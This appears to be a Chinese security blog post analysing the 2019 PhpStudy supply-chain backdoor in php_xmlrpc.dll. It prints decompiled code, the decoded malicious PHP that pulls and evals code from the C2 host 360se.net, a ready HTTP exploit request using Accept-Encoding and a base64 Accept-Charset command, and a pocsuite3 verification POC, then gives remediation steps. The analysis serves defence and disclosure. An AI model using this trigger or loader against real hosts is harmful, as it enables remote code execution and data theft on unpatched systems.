PhpStudy BackDoor2019 深度分析
关于《PhpStudy BackDoor》风波已经过去有一段时间了,由于,前段时间一直忙于其它事情QAQ,今天有时间对该事件重新回溯&深度分析。
*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径
背景分析
2019年9月20日,杭州市公安局举行新闻通报会,通报今年以来组织开展打击涉网违法犯罪暨“净网2019”专项行动战果,通报内容中提到国内著名的PHP调试环境程序集成包Phpstudy软件遭受到以马某为首的国内黑客团伙攻击并被植入后门。 Phpstudy集成环境包在国内的使用用户逾百万,据悉,此次后门攻击事件可追溯到2016年,屹今为止累计控制计算机逾67万台,该黑客团伙通过该后门获取的用户信息、各类系统账号信息进一步开展违法行为,累计非法牟利600余万元。
影响版本
phpStudy20180211版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll phpStudy20161103版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll
环境准备
测试环境以“phpStudy20161103版本 php5.4.45”为例进行分析
ps:目前官方已更新旧版本程序,可自行下载 https://www.xp.cn
第一个是目前官方正常配置文件,第二个是被植入后门的配置文件,从图中直观的也能看出来两个文件的大小不一样!!分别对其进行Hash校验:
MD5(php_xmlrpc.dll):c339482fd2b233fb0a555b629c0ea5d5
MD5(php_xmlrpc true.dll):6ddb8f2af4b2b24671ddcd82d7c08c91
通过Hash校验发现两个文件的Hash值不一样!
后门分析
目前各大厂商已将此后门加入威胁情报库中,此处通过virustotal和火绒查看
从上图可以看到原始的php_xmlrpc.dll存在威胁,接下来开始对“php_xmlrpc.dll”进行深入分析......
通过IDA进行查看可以发现官方更新过的“php_xmlrpc.dll”文件已经不存在危险函数“sub_100031F0”,下面正式分析被植入后门的“php_xmlrpc.dll”
首先,用IDA打开“php_xmlrpc.dll”,shift+f12定位是否存在危险字符串
通过索引发现存在危险函数eval()
根据eval()函数定位到相应的代码段然后反编译伪代码找到后门危险函数“sub_100031F0”
“sub_100031F0”程序代码
int __cdecl sub_100031F0(int a1, int a2, _DWORD *a3)
{
int v3; // edx
int v4; // eax
int v5; // ecx
int v6; // eax
int v7; // esi
char *v8; // edi
char *v9; // ecx
int v10; // eax
char *v11; // esi
int v12; // eax
char *v13; // edi
char *v14; // ecx
_DWORD *v15; // esi
int v16; // eax
void *v17; // edx
int v18; // eax
void *v19; // edi
_DWORD *v20; // esi
int result; // eax
int v22; // eax
int v23; // ecx
int v24; // eax
int v25; // edi
_DWORD *v26; // esi
char v27; // [esp+Dh] [ebp-19Bh]
__int16 v28; // [esp+BDh] [ebp-EBh]
char v29; // [esp+BFh] [ebp-E9h]
char v30; // [esp+C0h] [ebp-E8h]
char v31; // [esp+100h] [ebp-A8h]
char v32; // [esp+140h] [ebp-68h]
char v33; // [esp+180h] [ebp-28h]
const char ***v34; // [esp+184h] [ebp-24h]
int v35; // [esp+188h] [ebp-20h]
int v36; // [esp+18Ch] [ebp-1Ch]
int **v37; // [esp+190h] [ebp-18h]
int v38; // [esp+194h] [ebp-14h]
_DWORD **v39; // [esp+198h] [ebp-10h]
void *v40; // [esp+19Ch] [ebp-Ch]
char *v41; // [esp+1A0h] [ebp-8h]
char *v42; // [esp+1A4h] [ebp-4h] memset(&v27, , 0xB0u);
v28 = ;
v3 = *a3;
v29 = ;
if ( *(_BYTE *)(*(_DWORD *)(v3 + * core_globals_id - ) + ) )
zend_is_auto_global(aServer, , a3);
zend_hash_find(*(_DWORD *)(*a3 + * executor_globals_id - ) + , aServer, , &v33);
if ( zend_hash_find(*(_DWORD *)(*a3 + * executor_globals_id - ) + , aServer, strlen(aServer) + , &v39) != -
&& zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + , &v34) != - )
{
if ( !strcmp(**v34, aGzipDeflate) )
{
if ( zend_hash_find(*(_DWORD *)(*a3 + * executor_globals_id - ) + , aServer, strlen(aServer) + , &v39) != -
&& zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + , &v37) != - )
{
v40 = sub_100040B0(**v37, strlen((const char *)**v37));
if ( v40 )
{
v4 = *(_DWORD *)(*a3 + * executor_globals_id - );
v5 = *(_DWORD *)(v4 + );
*(_DWORD *)(v4 + ) = &v30;
v35 = v5;
v6 = setjmp3(&v30, );
v7 = v35;
if ( v6 )
*(_DWORD *)(*(_DWORD *)(*a3 + * executor_globals_id - ) + ) = v35;
else
zend_eval_string(v40, , &byte_10012884, a3);
*(_DWORD *)(*(_DWORD *)(*a3 + * executor_globals_id - ) + ) = v7;
}
}
}
else
{
v12 = strcmp(**v34, aCompressGzip);
if ( !v12 )
{
v13 = &byte_10012884;
v14 = (char *)&unk_1000D66C;
v42 = &byte_10012884;
v15 = &unk_1000D66C;
while ( )
{
if ( *v15 == )
{
v13[v12] = ;
v42[v12 + ] = *v14;
v12 += ;
v15 += ;
}
else
{
v13[v12++] = *v14;
++v15;
}
v14 += ;
if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )
break;
v13 = v42;
}
spprintf(&v36, , aVSMS, byte_100127B8, Dest);
spprintf(&v42, , aSEvalSS, v36, aGzuncompress, v42);
v16 = *(_DWORD *)(*a3 + * executor_globals_id - );
v17 = *(void **)(v16 + );
*(_DWORD *)(v16 + ) = &v32;
v40 = v17;
v18 = setjmp3(&v32, );
v19 = v40;
if ( v18 )
{
v20 = a3;
*(_DWORD *)(*(_DWORD *)(*a3 + * executor_globals_id - ) + ) = v40;
}
else
{
v20 = a3;
zend_eval_string(v42, , &byte_10012884, a3);
}
result = ;
*(_DWORD *)(*(_DWORD *)(*v20 + * executor_globals_id - ) + ) = v19;
return result;
}
}
}
if ( dword_10012AB0 - dword_10012AA0 >= dword_1000D010 && dword_10012AB0 - dword_10012AA0 < )
{
if ( strlen(byte_100127B8) == )
sub_10004480(byte_100127B8);
if ( strlen(Dest) == )
sub_10004380(Dest);
if ( strlen(byte_100127EC) == )
sub_100044E0(byte_100127EC);
v8 = &byte_10012884;
v9 = asc_1000D028;
v41 = &byte_10012884;
v10 = ;
v11 = asc_1000D028;
while ( )
{
if ( *(_DWORD *)v11 == )
{
v8[v10] = ;
v41[v10 + ] = *v9;
v10 += ;
v11 += ;
}
else
{
v8[v10++] = *v9;
v11 += ;
}
v9 += ;
if ( (signed int)v9 >= (signed int)&unk_1000D66C )
break;
v8 = v41;
}
spprintf(&v41, , aEvalSS, aGzuncompress, v41);
v22 = *(_DWORD *)(*a3 + * executor_globals_id - );
v23 = *(_DWORD *)(v22 + );
*(_DWORD *)(v22 + ) = &v31;
v38 = v23;
v24 = setjmp3(&v31, );
v25 = v38;
if ( v24 )
{
v26 = a3;
*(_DWORD *)(*(_DWORD *)(*a3 + * executor_globals_id - ) + ) = v38;
}
else
{
v26 = a3;
zend_eval_string(v41, , &byte_10012884, a3);
}
*(_DWORD *)(*(_DWORD *)(*v26 + * executor_globals_id - ) + ) = v25;
if ( dword_1000D010 < )
dword_1000D010 += ;
ftime(&dword_10012AA0);
} ftime(&dword_10012AB0);
if ( dword_10012AA0 < )
ftime(&dword_10012AA0);
return ;
}
首先分析spprintf()函数代码处功能,因为其对eval()函数进行了处理
spprintf(&v42, , aSEvalSS, v36, aGzuncompress, v42); spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);
spprintf函数是php官方自己封装的函数,此处实际上实现的是字符串拼接功能,实际代码如下:
@eval(%s(',27h,'%s',27h,')); @eval(gzuncompress(',27h,’v42′,27h,'));
@eval(gzuncompress(',27h,’v41′,27h,'));
ps:eval()函数中第一个%s位格式化字符串、第二个%s为字符串传参
可以看到上述代码主要对v41、v42数据进行解压执行操控,可以初步猜想恶意代码存在于v41和v42数据中,同理按照思路流程向上去找v41、v42数据内容,
对v41的处理代码
if ( strlen(byte_100127EC) == )
sub_100044E0(byte_100127EC);
v8 = &byte_10012884;
v9 = asc_1000D028;
v41 = &byte_10012884;
v10 = ;
v11 = asc_1000D028;
while ( )
{
if ( *(_DWORD *)v11 == )
{
v8[v10] = ;
v41[v10 + ] = *v9;
v10 += ;
v11 += ;
}
else
{
v8[v10++] = *v9;
v11 += ;
}
v9 += ;
if ( (signed int)v9 >= (signed int)&unk_1000D66C )
break;
v8 = v41;
}
对v42的处理代码
if ( !v12 )
{
v13 = &byte_10012884;
v14 = (char *)&unk_1000D66C;
v42 = &byte_10012884;
v15 = &unk_1000D66C;
while ( )
{
if ( *v15 == )
{
v13[v12] = ;
v42[v12 + ] = *v14;
v12 += ;
v15 += ;
}
else
{
v13[v12++] = *v14;
++v15;
}
v14 += ;
if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )
break;
v13 = v42;
}
分析代码可知v41数据内容是1000D028-1000D66C(基地址为10000000)范围内的数据,v42数据内容是1000D66C-1000E5C4(基地址为10000000)范围内的数据,使用010edit查看发现其均位于.data数据块
由于.data为dword类型每个值占用4个字节,代码处将其转换为char类型进行存储,然后使用php内置函数gzuncompress对其解压执行
使用微步情报局公开的解密脚本进行两段数据的提取解压
# -*- coding:utf-8 -*- # !/usr/bin/env python import os, sys, string, shutil, re import base64 import struct import pefile import ctypes import zlib # import put_family_c2 def hexdump(src, length=16): FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)]) lines = [] for c in xrange(0, len(src), length): chars = src[c:c + length] hex = ' '.join(["%02x" % ord(x) for x in chars]) printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars]) lines.append("%04x %-*s %s\n" % (c, length * 3, hex, printable)) return ''.join(lines) def descrypt(data): try: # data = base64.encodestring(data) # print(hexdump(data)) num = 0 data = zlib.decompress(data) # return result return (True, result) except Exception, e: print(e) return (False, "") def GetSectionData(pe, Section): try: ep = Section.VirtualAddress ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize] # print(hexdump(data)) return data except Exception, e: return None def GetSecsions(PE): try: for section in PE.sections: # print(hexdump(section.Name)) if (section.Name.replace('\x00', '') == '.data'): data = GetSectionData(PE, section) # print(hexdump(data)) return (True, data) return (False, "") except Exception, e: return (False, "") def get_encodedata(filename): pe = pefile.PE(filename) (ret, data) = GetSecsions(pe) if ret: flag = "gzuncompress" offset = data.find(flag) data = data[offset + 0x10:offset + 0x10 + 0x567 * 4].replace("\x00\x00\x00", "") decodedata_1 = zlib.decompress(data[:0x191]) print(hexdump(data[0x191:])) decodedata_2 = zlib.decompress(data[0x191:]) with open("decode_1.txt", "w") as hwrite: hwrite.write(decodedata_1) hwrite.close with open("decode_2.txt", "w") as hwrite: hwrite.write(decodedata_2) hwrite.close def main(path): c2s = [] domains = [] file_list = os.listdir(path) for f in file_list: print f file_path = os.path.join(path, f) get_encodedata(file_path) if __name__ == "__main__": # os.getcwd() path = "php5.4.45" main(path)
运行结果生成两个数据文件分别对应v41、v42,查看数据内容是经过base64编码过的,对其解码
v41数据
@ini_set("display_errors",""); error_reporting(0); $h = $_SERVER['HTTP_HOST']; $p = $_SERVER['SERVER_PORT']; $fp = fsockopen($h, $p, $errno, $errstr, 5); if (!$fp) { } else { $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n"; $out .= "Host: {$h}\r\n"; $out .= "Accept-Encoding: compress,gzip\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); fclose($fp); }
v41脚本:使用fsockopen模拟GET发包
v42数据
@ini_set("display_errors",""); error_reporting(0); function tcpGet($sendMsg = '', $ip = '360se.net', $port = ''){ $result = ""; $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); if( !$handle ){ $handle = fsockopen($ip, intval($port), $errno, $errstr, 5); if( !$handle ){ return "err"; } } fwrite($handle, $sendMsg."\n"); while(!feof($handle)){ stream_set_timeout($handle, 2); $result .= fread($handle, 1024); $info = stream_get_meta_data($handle); if ($info['timed_out']) { break; } } fclose($handle); return $result; } $ds = array("www","bbs","cms","down","up","file","ftp"); $ps = array("","","","",""); $n = false; do { $n = false; foreach ($ds as $d){ $b = false; foreach ($ps as $p){ $result = tcpGet($i,$d.".360se.net",$p); if ($result != "err"){ $b =true; break; } } if ($b)break; } $info = explode("<^>",$result); if (count($info)==4){ if (strpos($info[3],"/*Onemore*/") !== false){ $info[3] = str_replace("/*Onemore*/","",$info[3]); $n=true; } @eval(base64_decode($info[3])); } }while($n);
v42脚本:后门c2服务器(360se.net)(当前c2已经失活,因此不会对相关被控主机造成新的危害)
ps:从上面v41、v42数据的提取过程,可以发现攻击者对数据进行了压缩存储,增加了恶意代码的隐蔽性,同时c2服务器域名模仿了奇虎360公司相关产品名称,具有一定的欺诈特性。
分析反向连接c2后门
核心代码
v12 = strcmp(**v34, aCompressGzip); // //compress,gzip
if ( !v12 )
{
v13 = &byte_10012884;
v14 = (char *)&unk_1000D66C;
v42 = &byte_10012884;
v15 = &unk_1000D66C;
while ( )
{
if ( *v15 == )
{
v13[v12] = ;
v42[v12 + ] = *v14;
v12 += ;
v15 += ;
}
else
{
v13[v12++] = *v14;
++v15;
}
v14 += ;
if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )
break;
v13 = v42;
}
spprintf(&v36, , aVSMS, byte_100127B8, Dest);
spprintf(&v42, , aSEvalSS, v36, aGzuncompress, v42);
v16 = *(_DWORD *)(*a3 + * executor_globals_id - );
v17 = *(void **)(v16 + );
分析代码逻辑,首先想要执行
spprintf(&v42, , aSEvalSS, v36, aGzuncompress, v42);
必须满足if ( !v12 )
v12 = strcmp(**v34, aCompressGzip);
if ( !v12 )
定位aCompressGzip,只要ACCEPT_ENCODING等于compress,gzip即可出发v42恶意代码
构造相应Payload:
GET / HTTP/1.1
Host: x.x.x.x
…..
Accept-Encoding:compress,gzip
….
ps:由于C2服务器已经失效,不在进行后续操作
分析正向连接 RCE
在C2后门基础上向上接着分析
核心代码
if ( zend_hash_find(*(_DWORD *)(*a3 + * executor_globals_id - ) + , aServer, strlen(aServer) + , &v39) != -
&& zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + , &v34) != - )
{
if ( !strcmp(**v34, aGzipDeflate) )
{
if ( zend_hash_find(*(_DWORD *)(*a3 + * executor_globals_id - ) + , aServer, strlen(aServer) + , &v39) != -
&& zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + , &v37) != - )
{
v40 = sub_100040B0(**v37, strlen((const char *)**v37));
if ( v40 )
{
v4 = *(_DWORD *)(*a3 + * executor_globals_id - );
v5 = *(_DWORD *)(v4 + );
*(_DWORD *)(v4 + ) = &v30;
v35 = v5;
v6 = setjmp3(&v30, );
v7 = v35;
if ( v6 )
*(_DWORD *)(*(_DWORD *)(*a3 + * executor_globals_id - ) + ) = v35;
else
zend_eval_string(v40, , &byte_10012884, a3);
*(_DWORD *)(*(_DWORD *)(*a3 + * executor_globals_id - ) + ) = v7;
}
}
}
分析代码逻辑
第一个if(),判断是否存在HTTP_ACCEPT_ENCODING字段,$_SERVER['HTTP_ACCEPT_ENCODING'] 为当前请求的 Accept-Encoding: 头部信息的内容。
第二个if(),在第一个if()基础上,判断$_SERVER['HTTP_ACCEPT_ENCODING'] 字段值是否是gzip,deflate。
第三个if(),在前两个if()的基础上,判断是否存在HTTP_ACCEPT_CHARSET字段 ,$_SERVER['HTTP_ACCEPT_CHARSET']为当前请求的 Accept-Charset: 头部信息的内容。
最后,在前三个if()的基础上,提取HTTP_ACCEPT_CHARSET字段值,并对该值进行base64解码,然后调用zend_eval_string(v40, 0, &byte_10012884, a3); 执行RCE。
构造相应Payload:
GET / HTTP/1.1
Host: x.x.x.x
…..
Accept-Encoding: gzip,deflate
Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==
….
EXP利用
后门RCE
exp构造
GET /phpinfo.php HTTP/1.1
Host: 192.168.43.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/ Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip,deflate
Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==
Connection: close
Upgrade-Insecure-Requests: 1
exp利用
Accept-Charset请求头字段值需要经过base64编码
c3lzdGVtKCJuZXQgdXNlciIpOw== system("net user");
通过system函数查询的回显,可以看到后门RCE漏洞执行成功
ps:需要注意的一点,Accept-Encoding: gzip,deflate中,gzip,deflate之间不能存在空格,因为后门程序是进行的严格字符串匹配
POC构造
后门RCE
POC验证
POC代码编写利用创宇的pocsuite3框架进行编写,此处放上自己最初写的POC,只包含漏洞验证模块,因为本人已删掉attack模块(安全第一!!!)
import base64
import hashlib
import random
import urllib
from urllib.parse import urljoin, quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, get_listener_ip, get_listener_port
from pocsuite3.api import requests
from pocsuite3.lib.core.data import logger
from pocsuite3.lib.utils import get_middle_text class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
author = ['Qftm']
vulDate = '2019-09-23'
createDate = '2019-09-23'
updateDate = '2019-09-23'
references = ['https://www.seebug.org/vuldb/ssvid-93212']
name = 'phpstudy backdoor'
appPowerLink = 'http://www.finecms.net/show-1.html '
appName = 'phpstudy'
appVersion = 'version = 2018|2016'
vulType = 'backdoor'
desc = '''Phpstudy Backdoor RCE'''
samples = []
install_requires = ['']
category = POC_CATEGORY.EXPLOITS.WEBAPP def _verify(self):
result = {}
try:
vul_url = urljoin(self.url, '/')
rand_num = random.randint(0, 1000)
hash_flag = hashlib.md5(str(rand_num).encode()).hexdigest()
print(vul_url)
prexp = '''echo '{}' ;'''.format(hash_flag)
exp = base64.b64encode(prexp.encode()).decode()
headers = {'Accept-Encoding': 'gzip,deflate',
'Accept-Charset': '{}'.format(exp)
}
r = requests.post(vul_url, headers=headers)
if r.status_code != 404:
if hash_flag in r.text:
print(r.headers.get("Location"))
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
except Exception as ex:
logger.exception(ex)
return self.parse_output(result) def _attack(self):
result = {} return self.parse_output(result) def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output register_poc(DemoPOC)
漏洞验证机制使用随机数产生的MD5值(hash_flag)进行校验,首先判断网页是否是404提高命中率,然后根据网页返回来的内容,比对查看是否包含相应的hash_flag,如果包含则证明存在后门RCE,否则不存在。
验证效果
漏洞预防
1、内部排查确认受影响的Phpstudy环境PC主机,进行安全扫描处理(火绒、360安全卫士等)、清除可能存在的可疑程序。
2、对受影响的Phpstudy环境PC主机上的用户账号信息做登录日志审计、及时更换相关账号密码,防止账号密码早已泄露,造成危害。
3、到官网进行下载更新,校验hash。
参考链接
https://mp.weixin.qq.com/s/CqHrDFcubyn_y5NTfYvkQw https://www.freebuf.com/articles/others-articles/215406.html# https://mp.weixin.qq.com/s?__biz=MzI5NjA0NjI5MQ==&mid=2650165920&idx=1&sn=ac45922b6cf1db0f3d3cf0a10872be06&chksm=f448a91cc33f200a32cdbd01535e227a4a81cd3ce843992e410d0e4d5b772914d1ac3d6324fe&mpshare=1&scene=1&srcid=&sharer_sharetime=1569082336079&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd
PhpStudy BackDoor2019 深度分析的更多相关文章
- const与readonly深度分析(.NET)
前言 很多.NET的初学者对const和readonly的使用很模糊,本文就const和readonly做一下深度分析,包括: 1. const数据类型的优势 2. const数据类型的劣势 3. r ...
- 转:[gevent源码分析] 深度分析gevent运行流程
[gevent源码分析] 深度分析gevent运行流程 http://blog.csdn.net/yueguanghaidao/article/details/24281751 一直对gevent运行 ...
- 深度分析 Java 的枚举类型:枚举的线程安全性及序列化问题(转)
写在前面: Java SE5 提供了一种新的类型 Java的枚举类型,关键字 enum 可以将一组具名的值的有限集合创建为一种新的类型,而这些具名的值可以作为常规的程序组件使用,这是一种非常有用的功能 ...
- AndroidService 深度分析(2)
AndroidService 深度分析(2) 上一篇文章我们Service的生命周期进行了測试及总结. 这篇文章我们介绍下绑定执行的Service的实现. 绑定执行的Service可能是仅为本应用提供 ...
- 深度分析如何在Hadoop中控制Map的数量
深度分析如何在Hadoop中控制Map的数量 guibin.beijing@gmail.com 很多文档中描述,Mapper的数量在默认情况下不可直接控制干预,因为Mapper的数量由输入的大小和个数 ...
- MapReduce深度分析(二)
MapReduce深度分析(二) 五.JobTracker分析 JobTracker是hadoop的重要的后台守护进程之一,主要的功能是管理任务调度.管理TaskTracker.监控作业执行.运行作业 ...
- MapReduce深度分析(一)
MapReduce深度分析(一) 一.数据流向分析 图为MapReduce数据流向示意图 步骤1.输入文件从HDFS流向到Mapper节点.在一般情况下,存储数据的节点就是Mapper运行的节点,不需 ...
- 【JVM】深度分析Java的ClassLoader机制(源码级别)
原文:深度分析Java的ClassLoader机制(源码级别) 为了更好的理解类的加载机制,我们来深入研究一下ClassLoader和他的loadClass()方法. 源码分析 public abst ...
- 深度分析Java的枚举类型—-枚举的线程安全性及序列化问题
原文:深度分析Java的枚举类型--枚举的线程安全性及序列化问题 枚举是如何保证线程安全的 要想看源码,首先得有一个类吧,那么枚举类型到底是什么类呢?是enum吗?答案很明显不是,enum就和clas ...
随机推荐
- Pycharm中Python Console与Terminal的区别
1.Python Console是Python交互式模式,可以直接输入代码,然后执行,并立刻得到结果 2.Terminal是命令行模式,与系统的CMD(命令提示符)一样,可以运行各种系统命令
- 《全栈性能测试修炼宝典JMeter实战》学习记录
说明:原书中jmeter版本为2.x,我的笔记中截图为5.x
- Kafka源码研究--Comsumer获取partition下标
背景 由于项目上Flink在设置parallel多于1的情况下,job没法正确地获取watermark,所以周末来研究一下一部分,大概已经锁定了原因: 虽然我们的topic只设置了1的partitio ...
- 使用JRebel插件实现SpringBoot应用代码热加载
前言 在实际的开发过程中,我们经常修改代码之后,手动的重启项目,查看修改效果.那么有没有一种方式能够快速的.自动的帮我们将修改代码自动更新,避免手动重启,从而提高开发效率呢?是有的,在我之前的文章里面 ...
- django-表单之数据保存(七)
models.py class Student(models.Model): #字段映射,数据库中是male,female,后台显示的是男,女 choices={ ('male',"男&qu ...
- Windows 10 中CPU虚拟化已开启,但是docker无法运行
在管理员模式下的PowerShell中执行: bcdedit /set hypervisorlaunchtype Auto 然后重启电脑即可
- Spring Boot 使用@Scheduled定时器任务
摘要: Spring Boot之使用@Scheduled定时器任务 假设我们已经搭建好了一个基于Spring Boot项目,首先我们要在Application中设置启用定时任务功能@EnableSch ...
- html中<button>标签的type
HTML的<button>标签的type主要有三种可选值,reset.submit.button. 其中reset为重置按钮,用于清除form表单的数据:submit为提交按钮,点击后会对 ...
- 【XSY2495】余数
Input Output Input 3 4 Output 4 HINT 原式 =n*m-n除以i向下取整 用数论分块做就可以了 #include<bits/stdc++.h> #defi ...
- 学习笔记64_k邻近算法
1 .假定已知数据的各个属性值,以及其类型,例如: 电影名称 打斗镜头 接吻镜头 电影类别 m1 3 104 爱情片 m2 2 100 爱情片 m3 1 81 爱情片 m4 2 90 爱情片 w1 1 ...